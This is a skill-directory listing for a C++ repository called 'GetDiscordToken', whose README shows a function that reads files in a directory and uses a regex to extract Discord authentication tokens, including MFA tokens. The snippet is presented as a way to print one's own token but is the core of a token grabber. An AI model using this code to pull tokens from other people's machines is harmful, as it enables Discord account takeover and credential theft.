SkillAgentSearch skills...

GetDiscordToken

Print Your Discord Token

Install / Use

/learn @SeungYup26/GetDiscordToken
About this skill

Quality Score

0/100

Supported Platforms

Universal

README

GetDiscordToken

GitHub Repo stars<br>

Print Your Discord Token

How to get discord token

std::unordered_set<std::string> GetTokens(std::filesystem::directory_entry dir)
{
    std::unordered_set<std::string> tokens;

    std::string   file_path { dir.path().u8string() };
    std::ifstream fin       { file_path, std::ios::binary | std::ios::in };
    std::string   text      { std::istreambuf_iterator<char>{ fin }, std::istreambuf_iterator<char>{} };

    std::regex r{ R"([\w-]{24}\.[\w-]{6}\.[\w-]{27}|mfa\.[\w-]{84})" };

    std::sregex_iterator start_match{ text.begin(), text.end(), r };
    std::sregex_iterator end_match;

    while (start_match != end_match)
    {
        std::smatch match{ *start_match };
        tokens.insert(match.str());
        start_match++;
    }

    return tokens;
}

result

View on GitHub
GitHub Stars7
CategoryDevelopment
Updated3mo ago
Forks1

Languages

C++

Security Score

72/100

Audited on Dec 9, 2025

No findings